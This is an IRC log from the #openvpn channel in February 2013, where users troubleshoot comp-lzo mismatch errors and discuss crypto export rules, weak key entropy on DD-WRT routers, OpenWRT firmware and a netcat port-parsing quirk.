04:38 < pekster> It's just looking at a hard-coded value in the beginning of the raw packet
04:42 < baobeiiii> pretty quiet in here today
04:42 < pekster> Mon Feb 18 04:42:41 CST 2013
04:43 < pekster> I'm one of these weird people that look at source code at 4AM
04:45 < pekster> The only useful reference I see online is an lzo missmatch between hosts that might cause that
04:45 < pekster> ie: the 'comp-lzo' value in the configs
04:47 -!- HyperGlide [~HyperGlid@110.185.147.126] has joined #openvpn
04:48 -!- HyperGlide [~HyperGlid@110.185.147.126] has quit [Remote host closed the connection]
04:49 < baobeiiii> i've never looked at the source code, looks like c?
04:50 < pekster> Almost all of OpenVPN is in C
04:51 < baobeiiii> or c++
04:51 <@dazo> C
04:51 < pekster> I started by simply running part of that error message through group, which brought me to that function in mroute.c. I then grepped again for things that called that function to learn how packets get sent there
04:51 < pekster> through grep*
04:52 < pekster> My conclusion is that beyond the web-searchable instance where mis-matched lzo settings caused that error, it "shouldn't" happen. Obviously something is causing it, but without further debugging it's hard to say what
04:53 < pekster> Higher debug levels spit developer-level debug info to the log, but unless you were actually going to try and solve the underlying issue, it's not worth it
04:53 <@dazo> when --comp-lzo is 'adaptive' or 'yes' ... the wire-protocol slightly changes, telling the remote side if this has been compressed or not ... if you have --comp-lzo 'no' (or undefined) on one side and --comp-lzo 'yes' or 'adaptive' on the other side, it will fail
04:54 < pekster> Right. I found this reference on the 'IP version=15' error: http://forum.pfsense.org/index.php/topic,47156.msg247980.html#msg247980
04:54 <@vpnHelper> Title: INFO: OpenVPN between TP-LINK TL-WR1043ND (Client) and pfSense 2.0.1 (Server) (at forum.pfsense.org)
04:55 < pekster> Grante that appears to be running much older versions
04:55 <@dazo> yupp ... that's because the wire-protocol is different due to --comp-lzo being used on one side
04:55 < pekster> Yea, and I looked up the OPENVPN_IPH_GET_VER() inline function #define, so it's just treating the bits as the version when it could be compressed "junk"
04:56 <@dazo> correct
04:56 < pekster> Some other IRC log reference had the same issue, but claimed to have ruled out comp-lzo issues. I didn't see a resolution, so no clue how that turned out
04:57 < pekster> baobeiiii: Did you verify your use (or lack) of the 'comp-lzo' directive matches on both your client & server?
04:57 <@dazo> I think they face-palmed when they realised it was comp-lzo issues ... and were too ashamed to admit it publicly ;-)
04:57 <@dazo> also remember .... comp-lzo may be pushed
04:57 < pekster> Well, screw saving face, people like me search this crap weeks/years later! :P
04:57 <@dazo> yeah :)
04:58 <@dazo> (but pushed comp-lzo requires some kind of "comp-lzo" preparations on both sides, iirc)
04:58 < pekster> I do like having code available. I was on Windows yesterday, and couldn't get an accurate modern list of exit codes from defrag.exe. I would just open the source, except... :x
04:58 <@dazo> heh :)
04:58 < pekster> Some obscure issue with openvpn? No problem, just dive right in a 4 terminals full of code later, the reason is revealed
05:00 < baobeiiii> i've got comp-lzo specified on both sides, maybe just a harmless bug
05:00 < baobeiiii> impressive u can dig up that much on it though
05:01 < pekster> Is it the *same* on both sides? And be mindful that a 'push' from the sever may over-ride the client if the 'client' or 'pull' line occurs after
05:02 < baobeiiii> ill just double check
05:02 < pekster> Personally, I like pushing my comp-lzo setting from the server to insure I have control over the setting without needing to update client configs; it's also possible to use different comp-lzo settings on a per-client basis through ccd files or --client-connect scripts, but that's somewhat advanced
05:04 < baobeiiii> http://pastebin.com/ZsdP0enZ
05:04 < baobeiiii> can't see anything amiss
05:04 < baobeiiii> both server and client running 2.3
05:05 < baobeiiii> that ip 15 thing is spamming my logs though lol
05:06 < pekster> Yea, looks fine. My conclusion above still stands that you "shouldn't" be seeing that error
05:06 < baobeiiii> like 50% of the log is just that error
05:06 < baobeiiii> i noticed it happens every 60 seconds
05:06 < pekster> Yup, I saw that too
05:06 < baobeiiii> down to the second almost
05:07 < baobeiiii> maybe verb 1 or 2 will hide it
05:07 < pekster> I also noted above it happened initially before the client even connected, so it's possible it's some server-side network monitoring crap generating something, but that doesn't explain to me how openvpn gets a bogus value out of that packet buffer header
05:09 < baobeiiii> another guy exactly same
05:09 < baobeiiii> http://nerdanswer.com/answer.php?q=7880
05:09 <@vpnHelper> Title: OpenVPN Logs "IP Packet with unknown IP version=15" (at nerdanswer.com)
05:10 < pekster> The solution on the ubuntu site is worthless
05:16 -!- Devastator- [~devas@186.214.110.24] has quit [Changing host]
05:16 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
05:17 -!- Devastator- [~devas@unaffiliated/devastator] has quit []
05:18 -!- b1rkh0ff [~b1rkh0ff@178.77.7.9] has joined #openvpn
05:19 < pekster> I'm not sure exactly, but you could try disconnecting both clients, start the server up with 'verb 6' and let it run for a few minutes to see if you get that same error as before with no clients on
05:19 < pekster> verb 6 might print packet-level details about the actual tun write, but I'm not sure if verb 6 actually dumps everything that would be interesting about the event. verb 7 dumps things like keys too, so that's a potential security problem
05:22 < pekster> mattock: Sorry I missed your pre-release notice on build I004; looks good as far as the tap batch scripts go, so thanks for re-rolling that
06:00 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 245 seconds]
06:03 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
06:34 -!- eres [~rs@onyon.net] has joined #openvpn
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
06:49 <@dazo> !search wrt
06:49 <@vpnHelper> There were no matching configuration variables.
06:49 <@dazo> !factoids search wrt
06:49 <@vpnHelper> No keys matched that query.
06:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
06:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B53E8C.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:05 -!- master_of_master [~master_of@p57B53193.dip.t-dialin.net] has joined #openvpn
07:13 <@plaisthos> !inline
07:13 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
07:21 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
07:38 < baobeiiii> tried with verb 6 and no clients
07:38 < baobeiiii> same messages, no extra info
07:38 < baobeiiii> just going to ignore it
07:38 < baobeiiii> maybe turn off having a log file as it'll get big over time
07:40 < pekster> You can use syslog too instead of a file and just drop those lines
08:00 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::] has joined #openvpn
08:19 -!- vraa__ [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
08:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:55 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
09:11 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
09:12 <@ecrist> !verify
09:12 <@ecrist> !factoids search verify
09:12 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
09:12 <@ecrist> !factoids
09:12 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
09:56 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
09:59 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:28 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Read error: Operation timed out]
10:29 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Read error: Operation timed out]
10:29 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
10:29 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
10:34 -!- axelm7 [~axelm7@186.135.15.41] has joined #openvpn
10:36 < axelm7> hi guys, I am using openvpn on DD-WRT in six countried in the Caribbean. The VPN server is in the US. My customer (the user) is a Forbes 100 company from the US.
10:36 < axelm7> So now they have me filling out security compliance forms for a possible audit and one of the questions is regarding software export controls.
10:42 <@ecrist> so what do you want to know?
10:42 < pekster> Few (if any) people here care about credentials, company size, your companies budget, or your job title. Further, you're unlikely to get legal advice from someone in a volunteer-run open-source IRC channel. That said, OpenVPN is released under the GNU GPL version 2 with all the benefits under US crypto export law that entails.
10:42  * pekster needs to learn to type more one-liners like that ;)
10:42 < EugeneKay> axelm7 - openvpn uses the openssl library for all its crypto. You can use the stuff that applies to that.
10:43 < EugeneKay> And no, we don't care about your company at all, unless you're willing to pay us to fix your issues
10:45 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 248 seconds]
10:45 <@plaisthos> EugeneKay: why so harsh?
10:46 < axelm7> plaisthos, I foun pekster to be harsh, not EugeneKay.
10:46 < EugeneKay> You're confusing apathy with anger
10:47 <@plaisthos> EugeneKay: point taken, sounded different in my head
10:47 < axelm7> I just wanted to know if someone could give me some pointers regarding the usual procedure when openvpn export controls are involved
10:48 < pekster> axelm7: To my knowledge no one here is a lawyer. That said, export controls don't apply to open-source software where the code is freely available (again, from my read on US crypto law.)
10:48 < axelm7> this probably happens a lot when openvpn is used commercially
10:48 <@plaisthos> axelm7: not really
10:49 <@plaisthos> axelm7: most either use distribution which already have done this stuff and customers just rely on the distribution to have done the right stuff
10:49 <@plaisthos> or people buy OpenVPN As in which case you can ask the OpenVPN Corp
10:50 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
10:50 <@plaisthos> I think there are very few people actually doing roll your openvpn *and* do US export stuff
10:51 < EugeneKay> If you have enough money to fill out those forms you'll probably just buy AS
10:53 < axelm7> I have AS and since it is installed in the US I do not need an export license
10:53 -!- MeanderingCode [~Meanderin@71-213-170-8.albq.qwest.net] has joined #openvpn
10:53 < axelm7> My issue is with openvpn client on dd-wrt
10:55 <@dazo> axelm7: if you want security review compliance ... you should rather look at openvpn-nl .... which the dutch government uses
10:55 <@dazo> but it uses polarssl instead of openssl ... as openssl is basically impossible to review properly
10:56 <@dazo> axelm7: https://openvpn.fox-it.com/
10:56 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com)
10:58 <@dazo> axelm7: and while I'm on a roll .... dd-wrt!?!?  seriously!?!?  the "littleblackbox" project have basically all ssh and https keys in a database, ready to decrypt the traffic to/from dd-wrt boxes .... and dd-wrt people don't see that as an issue
10:58 <@dazo> dd-wrt is fine inside a locked-down network ... but not when security is needed
11:00 < pekster> One can generate keys off embedded hardware, and in fact that is the recommendation due to the virtually complete lack of entropy on those things
11:00 < pekster> s/off/off of/
11:00 <@dazo> pekster: true ... but having a public private key (see the irony there ;-)) ... that doesn't help either
11:01 <@plaisthos> axelm7: if you use dd-wrt you probably also need US export for all other compononents like ssh, linux kernel, ....
11:01 <@dazo> and btw ... dd-wrt don't care about mentioning security issues to their users either .... here's a case where an IP tables rules was found, opening up the device from specific IP addresses ... http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783
11:02 < pekster> dazo: cute. OpenWRT has ugly rules (for UCI/LuCI integration, and they look awful) but at least they contain no unpleasant surprises...
11:03 <@dazo> pekster: exactly!  I usually remove the UCI firewall crap and install iptables-utils ... then you have some decent tools :)
11:03 < pekster> "it seems that chris implemented this for a customer" <-- huh?!?
11:03 <@dazo> customer == government!?!?
11:04 < pekster> Yea, I have my own custom firmeware build. I also hate OpenWRT's UCI-friendly openvpn setup, so I replaced it with a cleaner initscript I wrote from scratch that uses traditional config files like a good implementation
11:04 < axelm7> well, this is for a retail network that does not traffic sensible information
11:04 < pekster> Actually, I need to clean that up and post it online so other people can use my scripts too
11:05 < EugeneKay> I need breakfast.
11:05 <@dazo> pekster: that'd be great :)
11:05  * dazo need to find time to clean-up his own openwrt setup :)
11:05 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:06 < pekster> It also supports an unlimited number of configurations (well, until you OOM the poor router) by way of symlinks. I may choose to clean that up to use a UCI config file for the instance -> config file mappings instead
11:08 < pekster> dazo: FYI, here's my (currently quite limited) GPL OpenWRT offerings: http://pekster.sdf.org/code/projects/openwrt.html . Maybe by the end of this month I can get the openvpn mess cleaned up enough for a public release too
11:08 <@vpnHelper> Title: OpenWRT Misc Code and Scripts (at pekster.sdf.org)
11:08 -!- b1rkh0ff [~b1rkh0ff@178.77.7.9] has quit [Read error: Connection reset by peer]
11:08  * dazo looks
11:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:10 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
11:12 < axelm7> dazo, regarding the littlebackbox project and ddwrt, the openvpn keys are created on openvpnas, not locally on the router.
11:13 <@dazo> axelm7: openvpn keys, yes .... but not ssh keys, which are used to ssh into the dd-wrt router
11:13 < axelm7> the sshd key might be an issue though if entropy is as bad as you mention
11:13 < pekster> It's hidious
11:13  * pekster digs up the paper on the topic
11:13 <@dazo> axelm7: if you re-create ssh keys on the dd-wrt box, that's also a joke .... you need to create new keys on a proper box with proper entropy ... and those keys needs to be installed
11:14 <@dazo> axelm7: but to make those keys reboot-safe, you basically need to recreate the flash image, iirc
11:14 < axelm7> they can be stored in nvram by command line.
11:14 <@dazo> well, that helps
11:14 < pekster> Here's the paper: http://eprint.iacr.org/2006/086.pdf
11:15 < axelm7> this is from 7 years ago. do you know if this was addressed in newer Linux kernels?
11:16 < pekster> Not on embedded hardware
11:16 < pekster> 29C3 had a talk called "Facthacks" you should watch that brought this up (that was end of 2012)
11:16 <@dazo> pekster: your wrt-iptables stuff looks pretty close to what I have hacked together, but yours is more polished - with the uci integration
11:16 < pekster> It's a limitation on the fact that embedded hardware has no disk, no keyboard/mouse, and no network sources in early-boot
11:16 <@dazo> nice work!
11:17 < pekster> dazo: Yea, I don't like abstracting away everything like the stock LuCI-friendly stuff does, but UCI has a lot of benefits too when used properly
11:17 <@dazo> agreed! ... but writing firewall rules in uci is just .... horrible
11:17 < pekster> My stuff should even run on a stock firmware, although IIRC they still need the iptables-{save,restore} symlinked against iptables (but the support is there)
11:18  * dazo thought you needed the iptables-utils package ... which gives you iptables-multi
11:18 <@dazo> (I might remember wrong, or not having paid attention enough to iptables changes)
11:19 < pekster> Nope, my build does not have CONFIG_PACKAGE_iptables-utils installed
11:20 -!- raidz is now known as raidz_away
11:20 -!- b1rkh0ff [~b1rkh0ff@178.77.7.9] has joined #openvpn
11:20 <@dazo> interesting :)
11:21 <@plaisthos> maybe busybox has now an iptables implementation
11:21 <@dazo> hmm ... plausible, but doubt it
11:22 < pekster> In backfire (10.03.1 that I'm running/building off of) /sbin/iptables is not a symlink; it's an actual executable
11:22 < pekster> I just didn't get the traditional save/restore symlinks and had to add them myself post-boot
11:22 <@dazo> yeah ... and I see this:
11:22 <@dazo> # ll /usr/sbin/iptables*
11:22 <@dazo> -rwxr-xr-x    1 root     root        54400 Nov  9  2010 /usr/sbin/iptables
11:22 <@dazo> -rwxr-xr-x    1 root     root        54400 Nov  9  2010 /usr/sbin/iptables-restore
11:22 <@dazo> -rwxr-xr-x    1 root     root        54400 Nov  9  2010 /usr/sbin/iptables-save
11:22 <@dazo> and the md5sum is identical
11:22 < pekster> Ugh
11:23 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
11:23 < pekster> Maybe iptables-utils "helpfully" did that?
11:23 <@dazo> yeah, probably ... stupid iptables-utils package
11:23 <@dazo> well, it's a rather old and hacky image I'm looking at right now
11:23 < pekster> If it's in jffs2 you might gain the space back by removing and symlinking them (won't help if you build that into your own custom firmware as it'd be squashfs'd)
11:24 -!- AsadH is now known as zz_AsadH
11:24 < |Mike|> n
11:24 <@dazo> pekster: I actually think this is from the image, not post-installed
11:24 <@dazo> (maybe squashfs doesn't support symlinks?)
11:24 < pekster> I put everything in squashfs; learning to use the buildsystem means things like openvpn, tcpdump, and bunches of other goodies are all compressed for space-savings
11:24 <@plaisthos> dazo: 54k is too small for busy box :)
11:25 <@dazo> hahaha
11:26 <@plaisthos> (at least for a big busybox version with all bells and whistles which would include iptables)
11:26 <@dazo> yeah ... busybox is basically an OS without the kernel ;-)
11:27  * dazo waits for the day busybox swallows systemd :-P
11:27 < pekster> a la RMS
11:27 <@dazo> :)
11:27 < axelm7> thanks guys, seems I have some key generation and distribution to do. Thanks for the feedback about the PRNG and the export rules.
11:28 < pekster> axelm7: The tl;dr on that Facthacks talk (they're a funny group to watch if you're into RSA stuff and can spare an hour) is that embedded is bad PRNG, and you should use >=2048 for asymettric RSA crypto
11:28 <@dazo> axelm7: also, double check your iptables too ;-)
11:29 < pekster> Here's one of their slides: http://pekster.sdf.org/misc/bluffdale_power.png
11:29 < axelm7> and regarding your question about why a big company would use dd'wrt routers? because their procurement department is useless so we have to buy whatever is available off the shelf in the Caribbean.
11:29 <@plaisthos> procurement
11:29 <@plaisthos> argh
11:31 < axelm7> if you want it in ten days, forget about the procurement department.
11:31 -!- Netsplit *.net <-> *.split quits: Sickness\, Jonathan__, Masxmasx, pppingme, mnathani, jtrucks, hive-mind
11:32 -!- Kireji [~nospam@biocontact.org] has left #openvpn []
11:32 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:34 <@dazo> pekster: btw ... do you know if there's a new openwrt release in the pipe?  last stable release was dec 2011
11:34 <@dazo> that's kinda long ago ....
11:34 < pekster> AA is in _rc now
11:34 < pekster> 12.x
11:34 <@dazo> ohhh ... nice
11:34 <@dazo> probably not updated the web front then
11:35 -!- raidz_away is now known as raidz
11:35 < pekster> http://downloads.openwrt.org/attitude_adjustment/
11:35 <@vpnHelper> Title: Index of /attitude_adjustment/ (at downloads.openwrt.org)
11:35 < pekster> Higher hardware requirements; if you don't have 16M RAM minimum, AA probably won't work
11:35 <@dazo> thx!
11:36 <@dazo> oh, I think wr1043nd got 32
11:36 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
11:36 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
11:36 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
11:36 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
11:36 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
11:36 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
11:37 <@plaisthos> are there up to date devices which run openwrt?
11:37 < pekster> Yea, from what I've heard in their channel some of the WDR units are nice with more RAM and wireless N, GigE, etc
11:37 <@plaisthos> Last I check it was difficult to find a 802.11n/Gigabit device which really ran OpenWrt (without "it runs but ....")
11:38 < pekster> Indeed, you still need to shop carefully to get a unit that works with no open wifi chip, etc
11:38 < pekster> s/no/an/
11:39 < pekster> #openwrt can help better; I've just heard things; I probably won't bother shoping for an AA-supporting unit until I get native IPv6 and need to update. Maybe I'll even run openvpn on it then too (and help them get a build working for 2.3 if they don't have it by then)
11:39 <@plaisthos> I basically just wanted something to bridge from 5ghz to lan and ended up buying a dedicated lan <-> wifi bridge
11:40 < pekster> Yea, you can buy a cheap $20 thing that way, and then put money into a decent *wrt unit that can run your toys and worry less about wifi. eggs and baskets I figure
11:42 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: Connection reset by peer]
11:42 < pekster> My "dev" OpenWRT unit is an Asus WL-500gPv2, an older-model with 8M flash/32M RAM. It runs openvpn nicely, and might possibly run AA. However, wifi is busted unless you run a 2.4 kernel with broadcom's binary kernel blob; I run 2.6 and forgo wifi to get semi-modern support. TBH it's really for openvpn development tasks anyway
11:42 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
11:42 < pekster> No wifi, and no gigE on that (not that openvpn could handle even 100Mbps with the processor limitations)
11:43 <@dazo> The wr1043nd is 1Gbit bridge with atheros wifi .11/abgn)
11:45 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
11:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:47 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 260 seconds]
11:48 <@plaisthos> pekster: if you want 802.11a/n nothing is cheap anymore ;)
11:48 < pekster> This is why I like separate functions: a cheap(-ish) wifi AP/bridge, and whatever I need for wired/RAM/flash/proc for the border-CPE
11:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:49 < pekster> And I can swap them each out independently as needs change or deals come up
11:49  * pekster misses the days of $20 sales on "good" open-source friendly equipment
11:50 < JackSparrow> hi, i just made netcat work with port 421337. How could that be possible ?
11:51 <@plaisthos> .oO(uint_16 foo = atoi(421337) )
11:52 <@dazo> JackSparrow: integer overflow
11:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
11:57 < pekster> Seems accurate. I get this result with the netcat6 tool (netcat6.sf.net) http://fpaste.org/o1WZ/
11:57  * plaisthos has a different netcat on OS X
11:58 <@plaisthos> nc -4 -l  421337
11:58 <@plaisthos> nc: getaddrinfo: nodename nor servname provided, or not known
11:58 < pekster> One with this bug ;)
11:58 < pekster> without*
11:58 <@plaisthos> yeah
11:58 <@plaisthos> nc -4 -l openvpn also works :)
11:59 < pekster> Yea, I can use service names too
11:59 <@plaisthos> weired implementation
11:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
11:59 -!- Denial- is now known as Denial
11:59 <@plaisthos> you should all pass the port string to getaddrinfo
11:59 <@plaisthos> and don't roll your own does this look like a port or integer value implementation
11:59 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
11:59 < pekster> There's also "gnu-netcat" in my repos - not sure what that is
12:00 <@plaisthos> mine is no gnu netcat
12:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:00 < pekster> Ironically, here's the repo desscription for netcat6: "netcat clone with better IPv6 support, improved code, etc..."
12:00 <@plaisthos> it does not like --help or --version
12:00  * pekster chuckles at "improved code"
12:00 < pekster> Ah, then there's a 4th option, "openbsd-netcat"
12:01 <@plaisthos> probably the one I have
12:01 <@plaisthos> OpenBSD => FreeBSD => Mac OS X :)
12:01 < pekster> OpenWRT symlinks that to busybox ;)
12:01 <@plaisthos> or FreeBSD has its own nc
12:02 < pekster> http://fpaste.org/mTTG/
12:02 < pekster> No udp support I guess
12:03 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
12:06 <@plaisthos> no support for almost anything but basic netcat usage :)
12:06 < EugeneKay> But GNU is better!
12:06 < pekster> Well, yea. It accepts 'nc -l -p openvpn' and then chooses some high ephemeral port
12:07 <@plaisthos> EugeneKay: for some people :)
12:07 < EugeneKay> For feeling morally superior
12:07 <@plaisthos> pekster: well drop the -p
12:07 <@plaisthos> -p is source port
12:07 <@plaisthos> on BSD nc using -l with -p is an error
12:07 < pekster> Not according the output that syas "-p PORT Local port"
12:08 <@plaisthos> pekster: :)
12:08 <@ecrist> !inline
12:08 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
12:08 <@plaisthos> pekster: usage could be wrong too
12:08 <@plaisthos> just try it :)
12:08 < pekster> nc: bad address 'openvpn'
12:08 < pekster> ;)
12:09 <@plaisthos> pekster: argh
12:09 < pekster> I think this is the first time I've ever called that command
12:09 <@plaisthos> pekster: I don't think busybox nc has getaddrinfo support :D
12:09 < pekster> (on that host)
12:22 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
12:25 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:35 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
12:54 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
12:55 -!- discojoe [~wtf@193.28.228.85] has joined #openvpn
12:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
13:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
13:00 -!- Denial- is now known as Denial
13:00 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 240 seconds]
13:00 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 240 seconds]
13:02 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
13:04 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
13:07 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:09 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has joined #openvpn
13:09 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 276 seconds]
13:09 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Read error: Connection reset by peer]
13:10 < plut0> something keeps overwriting the gateway on the client side (windows). if i connect, run a tracert it shows the correct gateway, if i run tracert again, it's using the default gateway which is wrong. why is this happening?
13:10 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
13:18 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 248 seconds]
13:19 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
13:22 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
13:25 < JackSparrow> plaisthos: dazo: thanks :)
13:49 < matsh> pekster: Around?
13:50 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 276 seconds]
13:54 -!- dazo is now known as dazo_afk
13:55 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
13:56 -!- BtbN [~btbn@btbn.de] has joined #openvpn
13:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
13:57 -!- dekroning [~dekroning@86.86.174.139] has joined #openvpn
13:57 < dekroning> hi
13:57 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
13:57 < dekroning> i'm using "OpenVPN Connect" on mac osx, and i'm not able to figure out how to add 2 vpn connections, so I started wondering is this even possible?
13:58 < EugeneKay> !osx
13:58 <@vpnHelper> "osx" is (#1) Tunnelblick includes everything you need to run OpenVPN on OS X. https://code.google.com/p/tunnelblick/ or (#2) Viscosity is another OpenVPN client for OS X, but it is commercial. http://www.thesparklabs.com/viscosity/
13:58 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
13:58 -!- Denial- is now known as Denial
13:58 < EugeneKay> dekroning - I'm 90% sure that "OpenVPN Connect" is the commercial product
14:00 < EugeneKay> I don't use the two clients listed either(not a Mac user), but I would think that you could launch two instances with them.
14:09 < matsh> !android
14:09 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the
14:09 <@vpnHelper> market
14:13 <@ecrist> ping krzee
14:37 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has left #openvpn []
14:41 -!- Kovica [~Kovica@77.38.49.83] has joined #openvpn
14:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
14:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
14:59 -!- Denial- is now known as Denial
15:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:20 -!- novaflash is now known as novaflash_away
15:24 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
15:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:32 -!- novaflash_away is now known as novaflash
15:34 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
15:37 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has joined #openvpn
15:40 < magic_1> hi guys, anyone here to help, having an issue ,  TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
15:40 < magic_1> Mon Feb 18 23:39:13 2013 TLS Error: TLS handshake failed
15:40 < magic_1> Mon Feb 18 23:39:13 2013 SIGUSR1[soft,tls-error] received, process restarting
